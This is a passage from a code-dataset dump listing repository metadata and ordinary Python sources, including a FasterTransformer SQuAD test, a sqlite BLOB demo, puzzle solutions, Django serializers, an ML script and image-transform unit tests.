blob_id
stringlengths 40
40
| directory_id
stringlengths 40
40
| path
stringlengths 3
616
| content_id
stringlengths 40
40
| detected_licenses
sequencelengths 0
112
| license_type
stringclasses 2
values | repo_name
stringlengths 5
115
| snapshot_id
stringlengths 40
40
| revision_id
stringlengths 40
40
| branch_name
stringclasses 777
values | visit_date
timestamp[us]date 2015-08-06 10:31:46
2023-09-06 10:44:38
| revision_date
timestamp[us]date 1970-01-01 02:38:32
2037-05-03 13:00:00
| committer_date
timestamp[us]date 1970-01-01 02:38:32
2023-09-06 01:08:06
| github_id
int64 4.92k
681M
⌀ | star_events_count
int64 0
209k
| fork_events_count
int64 0
110k
| gha_license_id
stringclasses 22
values | gha_event_created_at
timestamp[us]date 2012-06-04 01:52:49
2023-09-14 21:59:50
⌀ | gha_created_at
timestamp[us]date 2008-05-22 07:58:19
2023-08-21 12:35:19
⌀ | gha_language
stringclasses 149
values | src_encoding
stringclasses 26
values | language
stringclasses 1
value | is_vendor
bool 2
classes | is_generated
bool 2
classes | length_bytes
int64 3
10.2M
| extension
stringclasses 188
values | content
stringlengths 3
10.2M
| authors
sequencelengths 1
1
| author_id
stringlengths 1
132
|
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
bffd8f4a50731672574fa8ad2fd5d12b21e6b2ef | 35f9def6e6d327d3a4a4f2959024eab96f199f09 | /developer/lab/tools/NVIDIA/FasterTransformer/sample/tensorflow/unit_test/squad_unit_test.py | a938652cd196387dd17c4e11a6540fd972e6272f | [
"Apache-2.0",
"CAL-1.0-Combined-Work-Exception",
"CAL-1.0",
"MIT",
"CC-BY-SA-4.0",
"LicenseRef-scancode-free-unknown"
] | permissive | arXiv-research/DevLab-III-1 | ec10aef27e1ca75f206fea11014da8784752e454 | c50cd2b9154c83c3db5e4a11b9e8874f7fb8afa2 | refs/heads/main | 2023-04-16T19:24:58.758519 | 2021-04-28T20:21:23 | 2021-04-28T20:21:23 | 362,599,929 | 2 | 0 | MIT | 2021-04-28T20:36:11 | 2021-04-28T20:36:11 | null | UTF-8 | Python | false | false | 6,779 | py | # Copyright (c) 2020, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from __future__ import print_function
import unittest
import argparse
import os
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
import os.path
import json
import copy
import sys
sys.path.append("./tensorflow/tensorflow_bert")
import tensorflow as tf
from squad_evaluate_v1_1 import evaluate
# from ckpt_type_convert import checkpoint_dtype_cast
class TestDecoding(unittest.TestCase):
is_init = False
@classmethod
def setUpClass(cls):
super(TestDecoding, cls).setUpClass()
if cls.is_init == False:
cls.expected_version = '1.1'
cls.truth_dataset = "squad_data/dev-v1.1.json"
cls.fp32_model_path = "squad_model/model.ckpt"
cls.fp16_model_path = "squad_fp16_model/model.ckpt"
assert(os.path.isfile(cls.truth_dataset))
assert(os.path.isfile(cls.fp32_model_path + ".index"))
if(not os.path.isfile(cls.fp16_model_path + ".index")):
os.system("python tensorflow/tensorflow_bert/ckpt_type_convert.py --init_checkpoint={} --fp16_checkpoint={}".format(cls.fp32_model_path, cls.fp16_model_path))
cls.tf_fp32_output_path = "squad_tf_output/fp32/"
cls.ft_fp32_output_path = "squad_ft_output/fp32/"
cls.ft_fp16_output_path = "squad_ft_output/fp16/"
cls.predict_filename = "predictions.json"
os.system("python tensorflow/tensorflow_bert/bert/run_squad.py \
--predict_batch_size=8 \
--vocab_file=squad_model/vocab.txt \
--bert_config_file=squad_model/bert_config.json \
--init_checkpoint={} \
--train_file=squad_data/train-v1.1.json \
--do_predict=True \
--predict_file=squad_data/dev-v1.1.json \
--max_seq_length=384 \
--output_dir={}".format(cls.fp32_model_path, cls.tf_fp32_output_path))
cls.tf_fp32_score = cls.run_evaluate(cls, cls.tf_fp32_output_path + cls.predict_filename)
print("[INFO] tensorflow results: {}".format(cls.tf_fp32_score))
cls.is_init = True
def run_evaluate(self, file_path):
with open(file_path) as f, open(self.truth_dataset) as b:
f_json = json.load(f)
b_json = json.load(b)
if (b_json['version'] != self.expected_version):
print('Evaluation expects v-' + self.expected_version +
', but got dataset with v-' + b_json['version'],
file=sys.stderr)
dataset = b_json['data']
score = evaluate(dataset, f_json)
return score
def test_squad_fp32(self):
print("{INFO] test_squad_fp32")
os.system("./bin/encoder_gemm 8 384 12 64 0 0")
os.system("python tensorflow/tensorflow_bert/run_squad_wrap.py \
--floatx=float32 \
--predict_batch_size=8 \
--vocab_file=squad_model/vocab.txt \
--bert_config_file=squad_model/bert_config.json \
--init_checkpoint={} \
--train_file=squad_data/train-v1.1.json \
--do_predict=True \
--predict_file=squad_data/dev-v1.1.json \
--max_seq_length=384 \
--output_dir={}".format(self.fp32_model_path, self.ft_fp32_output_path))
os.system("rm gemm_config.in")
self.ft_fp32_score = self.run_evaluate(self.ft_fp32_output_path + self.predict_filename)
print("[INFO] fp32 results: {}".format(self.ft_fp32_score))
assert(self.ft_fp32_score['f1'] > self.tf_fp32_score['f1'] - 0.1)
assert(self.ft_fp32_score['exact_match'] > self.tf_fp32_score['exact_match'] - 0.1)
def test_squad_fp16(self):
print("[INFO] test_squad_fp16")
os.system("./bin/encoder_gemm 8 384 12 64 1 0")
os.system("python tensorflow/tensorflow_bert/run_squad_wrap.py \
--floatx=float16 \
--predict_batch_size=8 \
--vocab_file=squad_model/vocab.txt \
--bert_config_file=squad_model/bert_config.json \
--init_checkpoint={} \
--train_file=squad_data/train-v1.1.json \
--do_predict=True \
--predict_file=squad_data/dev-v1.1.json \
--max_seq_length=384 \
--output_dir={}".format(self.fp16_model_path, self.ft_fp16_output_path))
os.system("rm gemm_config.in")
self.ft_fp16_score = self.run_evaluate(self.ft_fp16_output_path + self.predict_filename)
print("[INFO] fp16 results: {}".format(self.ft_fp16_score))
assert(self.ft_fp16_score['f1'] > self.tf_fp32_score['f1'] - 0.1)
assert(self.ft_fp16_score['exact_match'] > self.tf_fp32_score['exact_match'] - 0.1)
def test_squad_fp16_varSeqlen(self):
print("[INFO] test_squad_fp16_varSeqlen")
os.system("python tensorflow/tensorflow_bert/run_squad_wrap.py \
--floatx=float16 \
--predict_batch_size=8 \
--vocab_file=squad_model/vocab.txt \
--bert_config_file=squad_model/bert_config.json \
--init_checkpoint={} \
--train_file=squad_data/train-v1.1.json \
--do_predict=True \
--predict_file=squad_data/dev-v1.1.json \
--max_seq_length=384 \
--remove_padding=True \
--output_dir={}".format(self.fp16_model_path, self.ft_fp16_output_path))
self.ft_fp16_score_var_seqlen = self.run_evaluate(self.ft_fp16_output_path + self.predict_filename)
print("[INFO] fp16 var seqlen results: {}".format(self.ft_fp16_score_var_seqlen))
assert(self.ft_fp16_score_var_seqlen['f1'] > self.tf_fp32_score['f1'] - 0.1)
assert(self.ft_fp16_score_var_seqlen['exact_match'] > self.tf_fp32_score['exact_match'] - 0.1)
if __name__ == "__main__":
unittest.main()
| [
"[email protected]"
] | |
16c119f54f2264d169dc7c2f07b131d64908f831 | 9e5bf5e7d0bdfa4ff2aca65ac306ed801d146608 | /python-26-pydb/pydb_07_blob.py | 6afad0b37eb1f44b3fb571eef749d6f9edb40632 | [] | no_license | AuroraBoreas/python_advanced_tricks | 90b07967789960beec381de676459c1e84b95860 | ba0940e25eda52345a27cf9ddffed9d18fa2a031 | refs/heads/master | 2022-11-27T19:09:45.666017 | 2020-08-11T17:33:11 | 2020-08-11T17:33:11 | 275,083,831 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,887 | py | import os, sqlite3
def convert_to_bytes(file):
with open(file, 'rb') as f:
data = f.read()
return data
def convert_to_file(data, filename):
with open(filename, 'wb') as f:
f.write(data)
return
def create_table():
db_path = os.path.join(os.path.dirname(__file__), "blob.db")
try:
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
sql_cmd = """CREATE TABLE employees
(id INTEGER PRIMARY KEY,
name TEXT NOT NULL,
photo BLOB NOT NULL,
resume BLOB NOT NULL);"""
cursor.execute(sql_cmd)
conn.commit()
print("Created table successfully.")
cursor.close()
except sqlite3.Error as e:
print("Creating table failed.", e)
finally:
if conn:
conn.close()
return
def insertBlob(employeeId, name, picture, resume):
db_path = os.path.join(os.path.dirname(__file__), "blob.db")
try:
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
sql_cmd = """INSERT INTO employees
(id, name, photo, resume)
VALUES (?, ?, ?, ?)"""
employPic = convert_to_bytes(picture)
employRes = convert_to_bytes(resume)
record = (employeeId, name, employPic, employRes)
cursor.execute(sql_cmd, record)
conn.commit()
print("Inserted the record successfully.")
cursor.close()
except sqlite3.Error as e:
print("Inserting record failed.", e)
conn.rollback()
finally:
if conn:
conn.close()
return
def readBlob():
db_path = os.path.join(os.path.dirname(__file__), "blob.db")
try:
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
sql_cmd = """SELECT * FROM employees"""
cursor.execute(sql_cmd)
for result in cursor.fetchall():
Id, name, bytesphoto, bytesresume = result
empphoto_path = os.path.join(os.path.dirname(__file__), f"picture_{Id}_{name}.jfif")
empres_path = os.path.join(os.path.dirname(__file__), f"resume_{Id}_{name}.jfif")
convert_to_file(bytesphoto, empphoto_path)
convert_to_file(bytesresume, empres_path)
print(f"id:{Id}, name:{name}")
os.startfile(empphoto_path)
os.startfile(empres_path)
except sqlite3.Error as e:
print("Error occurred.", e)
finally:
if conn:
conn.close()
return
create_table()
employId = 1
name = 'cat'
picture = os.path.join(os.path.dirname(__file__), r"data\employees\picture.jfif")
resume = os.path.join(os.path.dirname(__file__), r"data\employees\resume.jfif")
insertBlob(employId, name, picture, resume)
readBlob() | [
"[email protected]"
] | |
0c0b62f6266aab1d890fe4d7d07d06120fad7782 | 9fcd6a91132fd12731d259fe7d709cdf222381bb | /2022/14/foo.py | f620615c11d7f8917af8cb384035406dd2be5cb9 | [] | no_license | protocol7/advent-of-code | f5bdb541d21414ba833760958a1b9d05fc26f84a | fa110cef83510d86e82cb5d02f6af5bb7016f2c7 | refs/heads/master | 2023-04-05T15:33:26.146031 | 2023-03-18T14:22:43 | 2023-03-18T14:22:43 | 159,989,507 | 0 | 2 | null | null | null | null | UTF-8 | Python | false | false | 1,222 | py | import sys
from itertools import *
from util import *
def parse(line):
return chunks(ints(line), 2)
xs = list(map(parse, sys.stdin))
d = set()
for row in xs:
for (x1, y1), (x2, y2) in zip(row, row[1:]):
for x in diffrange(x1, x2):
for y in diffrange(y1, y2):
d.add((x, y))
maxy = max(y for _, y in d)
part1 = True
for c in count():
sx, sy = (500, 0)
while True:
if sy == maxy + 1:
if part1:
print(c)
part1 = False
# on bottom floor, rest
d.add((sx, sy))
break
elif (sx, sy+1) not in d:
# point below is free
sy += 1
elif (sx-1, sy+1) not in d:
# point below and to the left is free
sx -= 1
sy += 1
elif (sx+1, sy+1) not in d:
# point below and to the right is free
sx += 1
sy += 1
elif (sx, sy) not in d:
# we can't move down and we haven't fill up all the way, rest here
d.add((sx, sy))
break
else:
# filled up all the way, we're done with part 2
print(c)
sys.exit() | [
"[email protected]"
] | |
74039f87a612a65381e0ed6e6eed92f1022e8968 | 4e0ff785b993b6bae70745434e61f27ca82e88f0 | /289-Game-of-Life/solution.py | 0c90ed85355a13a6e97b67dbdb013dde336eef3d | [] | no_license | NobodyWHU/Leetcode | 2ee557dd77c65c5fa8ca938efb6de3793b4de261 | d284fa3daab02531e5300867463b293d44737e32 | refs/heads/master | 2021-01-23T14:05:28.161062 | 2016-09-23T11:51:51 | 2016-09-23T11:51:51 | 58,898,114 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 998 | py | class Solution(object):
def live_nbrs(self,board,i,j,m,n):
ms=max(0,i-1)
ns=max(0,j-1)
me=min(m,i+2)
ne=min(n,j+2)
count=0
for i1 in xrange(ms,me):
for j1 in xrange(ns,ne):
if board[i1][j1]&1:
count+=1
return count-(board[i][j]&1)
def gameOfLife(self, board):
"""
:type board: List[List[int]]
:rtype: void Do not return anything, modify board in-place instead.
"""
m=len(board)
if not m:
return
n=len(board[0])
lm,ln=map(xrange,[m,n])
for i in lm:
for j in ln:
num=self.live_nbrs(board,i,j,m,n)
if not (board[i][j]&1):
board[i][j]=bool(num==3)<<1
else:
board[i][j]+=bool(num not in [2,3])<<1
for i in lm:
for j in ln:
board[i][j]=((board[i][j]&2)>>1)^(board[i][j]&1) | [
"[email protected]"
] | |
d4f48a70ecf3ae87af021116d62c44cd8a0dac42 | 49d9fe8a1c83699e41b9cd4e6764e640e69243a8 | /ekd_documents_stage.py | 7fd8bb338614c646298456ea7da30a8793837927 | [] | no_license | postcoder/ekd_documents | 11945361052e2052848aa71e6f425c5d9bb92802 | 083e1d37e39803aa9dde69b596bbb9305ec35d7b | refs/heads/master | 2020-12-11T07:39:35.646593 | 2011-03-31T05:25:03 | 2011-03-31T05:25:03 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,081 | py | # -*- coding: utf-8 -*-
"Document Stage"
from trytond.model import ModelView, ModelSQL, fields
from trytond.transaction import Transaction
class DocumentTemplateStage(ModelSQL, ModelView):
"Document Template"
_name='ekd.document.template.stage'
_description=__doc__
_order_name = "sequence"
template = fields.Many2One('ekd.document.template', 'Template')
name = fields.Char('Name', size=128)
shortcut = fields.Char('ShortCut', size=32)
sequence = fields.Integer('Sequence', help="Change with *10")
date_start = fields.Date('Date Start')
date_end = fields.Date('Date end')
code_call = fields.Char('Code Call')
active = fields.Boolean('Active')
def default_active(self):
return True
DocumentTemplateStage()
class Document(ModelSQL, ModelView):
_name='ekd.document.template'
stages = fields.One2Many('ekd.document.template.stage', 'template', 'Stages')
Document()
class Document(ModelSQL, ModelView):
_name='ekd.document'
stage = fields.Many2One('ekd.document.template.stage', 'Stage')
Document()
| [
"[email protected]"
] | |
17c0559b0457907a1e73225e13128fc0575b7451 | 53164813be4f539d65ef985da732d1890eb91693 | /company/serializers.py | c7f078274e8118c7d9a997dd41d14a109aaeade3 | [] | no_license | surajmondal1003/erp_tribeni | 8ea3e19d3afcdeed6e0114de61ba086043d98303 | 1972e7a18853a30ac85c6fa0487fed9dbcef4381 | refs/heads/master | 2020-03-19T09:51:34.780672 | 2018-06-29T09:04:25 | 2018-06-29T09:04:25 | 136,322,677 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,474 | py | from company.models import Company,TermsandConditon
from states.models import State
from rest_framework import serializers
from rest_framework.serializers import ModelSerializer
from rest_framework.validators import UniqueValidator
class ChildrenSerializer(serializers.Serializer):
def to_representation(self, value):
serializer = self.parent.parent.__class__(value, context=self.context)
return serializer.data
class CompanySerializer(ModelSerializer):
company_name = serializers.CharField(
validators=[UniqueValidator(queryset=Company.objects.all())]
)
created_by = serializers.HiddenField(default=serializers.CurrentUserDefault())
status=serializers.BooleanField(default=True)
children=ChildrenSerializer(many=True, read_only=True)
company_url = serializers.CharField(required=False, allow_blank=True) # Not mandatory field
company_gst = serializers.CharField(required=False, allow_blank=True) # Not mandatory field
company_pan = serializers.CharField(required=False, allow_blank=True) # Not mandatory field
company_cin = serializers.CharField(required=False, allow_blank=True) # Not mandatory field
company_email = serializers.EmailField(required=False, allow_blank=True) # Not mandatory field
class Meta:
model = Company
fields = ['id','parent','company_name','company_url','company_gst','company_pan','company_cin','company_email',
'company_address','company_contact','company_state','company_city','company_pin','status','created_at',
'created_by','is_deleted','children']
class CompanyListSerializer(ModelSerializer):
class Meta:
model = Company
fields = ['id','company_name']
class TermsAndConditionSerializer(ModelSerializer):
created_by = serializers.HiddenField(default=serializers.CurrentUserDefault())
status = serializers.BooleanField(default=True)
class Meta:
model = TermsandConditon
fields = ['id','company','term_type','term_text','status','created_at','created_by','is_deleted']
class TermsAndConditionReadSerializer(ModelSerializer):
created_by = serializers.HiddenField(default=serializers.CurrentUserDefault())
status = serializers.BooleanField(default=True)
company=CompanyListSerializer()
class Meta:
model = TermsandConditon
fields = ['id','company','term_type','term_text','status','created_at','created_by','is_deleted'] | [
"[email protected]"
] | |
a6abacfc9321ad09afffc9432695b4d237820cb0 | f95d2646f8428cceed98681f8ed2407d4f044941 | /AI/day03/ai01.py | 63d018d7e9fa8009a76ae0d7321bc2a6daf4214c | [] | no_license | q2806060/python-note | 014e1458dcfa896f2749c7ebce68b2bbe31a3bf8 | fbe107d668b44b78ae0094dbcc7e8ff8a4f8c983 | refs/heads/master | 2020-08-18T01:12:31.227654 | 2019-10-17T07:40:40 | 2019-10-17T07:40:40 | 215,731,114 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,393 | py | import sklearn.tree as st
import sklearn.ensemble as se
import numpy as np
import sklearn.utils as su
import sklearn.metrics as sm
import matplotlib.pyplot as mp
data = np.loadtxt('C:\\Users\\Administrator\\Desktop\\sucai\\ml_data\\bike_day.csv',
delimiter=',', unpack=False, dtype='U20')
# 获取输入集与输出集
header = data[0, 2:13]
x = np.array(data[1:, 2:13], dtype=float)
y = np.array(data[1:, -1], dtype=float)
# 打乱数据集
x, y = su.shuffle(x, y, random_state=7)
# 查分训练集,测试集
train_size = int(len(x) * 0.9)
train_x, test_x, train_y, test_y = x[:train_size], x[train_size:], y[:train_size], y[train_size:]
# 随机森林模型训练
model = se.RandomForestRegressor(max_depth=10, n_estimators=1000, min_samples_split=2)
model.fit(train_x, train_y)
pred_test_y = model.predict(test_x)
# 使用r2得分验证预测结果
print(sm.r2_score(test_y, pred_test_y))
# 输出特征重要性
fi_day = model.feature_importances_
print(fi_day)
print(header)
# 绘制特征重要性柱状图
mp.figure('Bike', facecolor='lightgray')
mp.subplot(211)
mp.title('Day', fontsize=16)
mp.ylabel("Imporeances", fontsize=12)
mp.tick_params(labelsize=8)
mp.grid(linestyle=':')
pos = np.arange(fi_day.size)
sorted_i = fi_day.argsort()[::-1]
mp.xticks(pos, header[sorted_i])
mp.bar(pos, fi_day[sorted_i], color='dodgerblue', label='Bike_Day')
mp.legend()
mp.show() | [
"[email protected]"
] | |
ed34f5a1992dc92768d5c72071118192afc81a60 | 58f095f52d58afa9e8041c69fa903c5a9e4fa424 | /examples/test_dejong3.py | 7278675f06b5173756538e602b0627bca01a6010 | [
"BSD-3-Clause"
] | permissive | cdeil/mystic | e41b397e9113aee1843bc78b5b4ca30bd0168114 | bb30994987f36168b8f09431cb9c3823afd892cd | refs/heads/master | 2020-12-25T23:18:52.086894 | 2014-08-13T14:36:09 | 2014-08-13T14:36:09 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,742 | py | #!/usr/bin/env python
#
# Author: Patrick Hung (patrickh @caltech)
# Author: Mike McKerns (mmckerns @caltech and @uqfoundation)
# Copyright (c) 1997-2014 California Institute of Technology.
# License: 3-clause BSD. The full license text is available at:
# - http://trac.mystic.cacr.caltech.edu/project/mystic/browser/mystic/LICENSE
"""
Sets up De Jong's Third function. This is problem 3 of testbed 1 in [1].
Note: The function as defined by Eq.8 of [1] seems incomplete.
Reference:
[1] Storn, R. and Price, K. Differential Evolution - A Simple and Efficient
Heuristic for Global Optimization over Continuous Spaces. Journal of Global
Optimization 11: 341-359, 1997.
[2] Storn, R. and Proce, K. Same title as above, but as a technical report.
try: http://www.icsi.berkeley.edu/~storn/deshort1.ps
"""
from mystic.solvers import DifferentialEvolutionSolver
from mystic.termination import ChangeOverGeneration, VTR
from mystic.models.dejong import step as DeJong3
import random
random.seed(123)
ND = 5
NP = 25
MAX_GENERATIONS = 2500
def main():
solver = DifferentialEvolutionSolver(ND, NP)
solver.SetRandomInitialPoints(min = [-5.12]*ND, max = [5.12]*ND)
solver.SetEvaluationLimits(generations=MAX_GENERATIONS)
solver.Solve(DeJong3, termination=VTR(0.00001), \
CrossProbability=0.3, ScalingFactor=1.0)
solution = solver.Solution()
print solution
if __name__ == '__main__':
from timeit import Timer
# optimize with DESolver
t = Timer("main()", "from __main__ import main")
timetaken = t.timeit(number=1)
print "CPU Time: %s\n" % timetaken
# optimize with fmin
from mystic.solvers import fmin
print fmin(DeJong3, [0 for i in range(ND)])
# end of file
| [
"mmckerns@968178ea-60bd-409e-af13-df8a517b6005"
] | mmckerns@968178ea-60bd-409e-af13-df8a517b6005 |
48b77183ab92da5b0e91b0ba7325547f83f7e5fe | 43067fc53de24e4c8e16e73cb5761b010240973d | /tests/transform_functional_tests.py | c6c910bb34867ed48f275639373ef6b7fd62b80f | [
"MIT"
] | permissive | yfletberliac/jicbioimage.transform | 9a0b661ff38ea2616b29720fc7f02318303191ca | 494c282d964c3a9b54c2a1b3730f5625ea2a494b | refs/heads/master | 2020-03-19T03:30:02.304877 | 2016-11-01T16:05:23 | 2016-11-01T16:05:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 14,376 | py | """Transform functional tests."""
import unittest
import os
import os.path
import shutil
import numpy as np
HERE = os.path.dirname(__file__)
DATA_DIR = os.path.join(HERE, 'data')
TMP_DIR = os.path.join(HERE, 'tmp')
class GeneralPurposeTransoformTests(unittest.TestCase):
def setUp(self):
from jicbioimage.core.io import AutoName
AutoName.count = 0
AutoName.directory = TMP_DIR
if not os.path.isdir(TMP_DIR):
os.mkdir(TMP_DIR)
def tearDown(self):
from jicbioimage.core.io import AutoName
AutoName.count = 0
shutil.rmtree(TMP_DIR)
def test_max_intensity_projection(self):
from jicbioimage.transform import max_intensity_projection
from jicbioimage.core.image import Image
slice0 = np.array(
[[0, 1, 2],
[0, 1, 2],
[0, 1, 2]], dtype=np.uint8)
slice1 = np.array(
[[2, 1, 0],
[2, 1, 0],
[2, 1, 0]], dtype=np.uint8)
expected = np.array(
[[2, 1, 2],
[2, 1, 2],
[2, 1, 2]], dtype=np.uint8)
stack = np.dstack([slice0, slice1])
max_projection = max_intensity_projection(stack)
self.assertTrue(np.array_equal(expected, max_projection))
self.assertTrue(isinstance(max_projection, Image))
def test_min_intensity_projection(self):
from jicbioimage.transform import min_intensity_projection
from jicbioimage.core.image import Image
slice0 = np.array(
[[0, 1, 2],
[0, 1, 2],
[0, 1, 2]], dtype=np.uint8)
slice1 = np.array(
[[2, 1, 0],
[2, 1, 0],
[2, 1, 0]], dtype=np.uint8)
expected = np.array(
[[0, 1, 0],
[0, 1, 0],
[0, 1, 0]], dtype=np.uint8)
stack = np.dstack([slice0, slice1])
min_projection = min_intensity_projection(stack)
self.assertTrue(np.array_equal(expected, min_projection))
self.assertTrue(isinstance(min_projection, Image))
def test_mean_intensity_projection_uint8(self):
from jicbioimage.transform import mean_intensity_projection
from jicbioimage.core.image import Image
slice0 = np.array(
[[0, 0, 0],
[1, 1, 1],
[2, 2, 2]], dtype=np.uint8)
slice1 = np.array(
[[0, 1, 2],
[0, 1, 2],
[0, 1, 2]], dtype=np.uint8)
stack = np.dstack([slice0, slice1])
expected = np.array(
[[0, 0, 1],
[0, 1, 1],
[1, 1, 2]], dtype=np.uint8)
mean_projection = mean_intensity_projection(stack)
self.assertTrue(np.array_equal(expected, mean_projection))
self.assertTrue(isinstance(mean_projection, Image))
def test_mean_intensity_projection_float(self):
from jicbioimage.transform import mean_intensity_projection
from jicbioimage.core.image import Image
slice0 = np.array(
[[0, 0, 0],
[1, 1, 1],
[2, 2, 2]], dtype=np.float)
slice1 = np.array(
[[0, 1, 2],
[0, 1, 2],
[0, 1, 2]], dtype=np.float)
stack = np.dstack([slice0, slice1])
expected = np.mean(stack, axis=2)
mean_projection = mean_intensity_projection(stack)
self.assertTrue(np.array_equal(expected, mean_projection))
self.assertTrue(isinstance(mean_projection, Image))
def test_median_intensity_projection_uint8(self):
from jicbioimage.transform import median_intensity_projection
from jicbioimage.core.image import Image
slice0 = np.array(
[[0, 0, 0],
[1, 1, 1],
[2, 2, 2]], dtype=np.uint8)
slice1 = np.array(
[[0, 0, 0],
[1, 1, 1],
[2, 2, 2]], dtype=np.uint8)
slice2 = np.array(
[[0, 1, 2],
[0, 1, 2],
[0, 1, 2]], dtype=np.uint8)
stack = np.dstack([slice0, slice1, slice2])
expected = np.array(
[[0, 0, 0],
[1, 1, 1],
[2, 2, 2]], dtype=np.uint8)
median_projection = median_intensity_projection(stack)
self.assertTrue(np.array_equal(expected, median_projection))
self.assertTrue(isinstance(median_projection, Image))
def test_smooth_gaussian(self):
from jicbioimage.transform import smooth_gaussian
from jicbioimage.core.image import Image
array = np.array(
[[0., 0., 0.],
[0., 1., 0.],
[0., 0., 0.]], dtype=np.float)
expected = np.array(
[[0.05855018, 0.09653293, 0.05855018],
[0.09653293, 0.15915589, 0.09653293],
[0.05855018, 0.09653293, 0.05855018]], dtype=np.float)
smoothed = smooth_gaussian(array)
self.assertTrue(np.allclose(expected, smoothed))
self.assertTrue(isinstance(smoothed, Image))
# The smooth_gaussian function only makes sense on dtype np.float.
with self.assertRaises(TypeError):
smoothed = smooth_gaussian(array.astype(np.uint8))
def test_threshold_otsu(self):
from jicbioimage.transform import threshold_otsu
from jicbioimage.core.image import Image
# Test with uint8.
array = np.array(
[[1, 2, 3],
[7, 8, 9]], dtype=np.uint8)
expected = np.array(
[[0, 0, 0],
[1, 1, 1]], dtype=np.bool)
thresholded = threshold_otsu(array)
self.assertTrue(np.array_equal(expected, thresholded))
self.assertTrue(isinstance(thresholded, Image))
# Test with float.
array = np.array(
[[1, 2, 3],
[7, 8, 9]], dtype=np.float)
expected = np.array(
[[0, 0, 0],
[1, 1, 1]], dtype=np.bool)
thresholded = threshold_otsu(array)
self.assertTrue(np.array_equal(expected, thresholded))
self.assertTrue(isinstance(thresholded, Image))
def test_threshold_otsu_multiplier(self):
from jicbioimage.transform import threshold_otsu
array = np.array(
[[1, 2, 3],
[7, 8, 9]], dtype=np.uint8)
# Threshold used: 3 * 0.6 = 1.79
expected = np.array(
[[0, 1, 1],
[1, 1, 1]], dtype=np.bool)
thresholded = threshold_otsu(array, multiplier=0.6)
self.assertTrue(np.array_equal(expected, thresholded))
def test_remove_small_objects(self):
from jicbioimage.transform import remove_small_objects
from jicbioimage.core.image import Image
array = np.array(
[[0, 0, 0, 0, 1],
[0, 1, 1, 0, 0],
[0, 1, 1, 0, 0],
[0, 0, 0, 1, 0],
[1, 1, 0, 1, 0]], dtype=np.bool)
expected_con1 = np.array(
[[0, 0, 0, 0, 0],
[0, 1, 1, 0, 0],
[0, 1, 1, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0]], dtype=np.bool)
no_small = remove_small_objects(array, min_size=4)
self.assertTrue(np.array_equal(expected_con1, no_small))
self.assertTrue(isinstance(no_small, Image))
expected_con2 = np.array(
[[0, 0, 0, 0, 0],
[0, 1, 1, 0, 0],
[0, 1, 1, 0, 0],
[0, 0, 0, 1, 0],
[0, 0, 0, 1, 0]], dtype=np.bool)
no_small = remove_small_objects(array, min_size=4, connectivity=2)
self.assertTrue(np.array_equal(expected_con2, no_small))
# The remove_small_objects function only makes sense on dtype np.bool.
with self.assertRaises(TypeError):
remove_small_objects(array.astype(np.uint8))
def test_invert_bool(self):
from jicbioimage.transform import invert
from jicbioimage.core.image import Image
array = np.array(
[[1, 1, 1],
[0, 0, 0]], dtype=np.bool)
expected = np.array(
[[0, 0, 0],
[1, 1, 1]], dtype=np.bool)
inverted = invert(array)
self.assertTrue(np.array_equal(expected, inverted))
self.assertTrue(isinstance(inverted, Image))
def test_invert_uint8(self):
from jicbioimage.transform import invert
from jicbioimage.core.image import Image
array = np.array(
[[1, 1, 1],
[0, 0, 0]], dtype=np.uint8)
expected = np.array(
[[254, 254, 254],
[255, 255, 255]], dtype=np.uint8)
inverted = invert(array)
self.assertTrue(np.array_equal(expected, inverted))
self.assertTrue(isinstance(inverted, Image))
def test_dilate_binary(self):
from jicbioimage.transform import dilate_binary
from jicbioimage.core.image import Image
array = np.array(
[[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 1, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0]], dtype=np.bool)
expected = np.array(
[[0, 0, 0, 0, 0],
[0, 0, 1, 0, 0],
[0, 1, 1, 1, 0],
[0, 0, 1, 0, 0],
[0, 0, 0, 0, 0]], dtype=np.bool)
dilated = dilate_binary(array)
self.assertTrue(np.array_equal(expected, dilated))
self.assertTrue(isinstance(dilated, Image))
# The dilate_binary function only makes sense on dtype bool.
with self.assertRaises(TypeError):
dilate_binary(array.astype(np.uint8))
def test_dilate_binary_with_selem(self):
from jicbioimage.transform import dilate_binary
selem = np.ones((3, 3))
array = np.array(
[[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 1, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0]], dtype=np.bool)
expected = np.array(
[[0, 0, 0, 0, 0],
[0, 1, 1, 1, 0],
[0, 1, 1, 1, 0],
[0, 1, 1, 1, 0],
[0, 0, 0, 0, 0]], dtype=np.bool)
dilated = dilate_binary(array, selem=selem)
self.assertTrue(np.array_equal(expected, dilated))
def test_erode_binary(self):
from jicbioimage.transform import erode_binary
from jicbioimage.core.image import Image
array = np.array(
[[0, 0, 0, 0, 0],
[0, 0, 1, 0, 0],
[0, 1, 1, 1, 0],
[0, 0, 1, 0, 0],
[0, 0, 0, 0, 0]], dtype=np.bool)
expected = np.array(
[[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 1, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0]], dtype=np.bool)
eroded = erode_binary(array)
self.assertTrue(np.array_equal(expected, eroded))
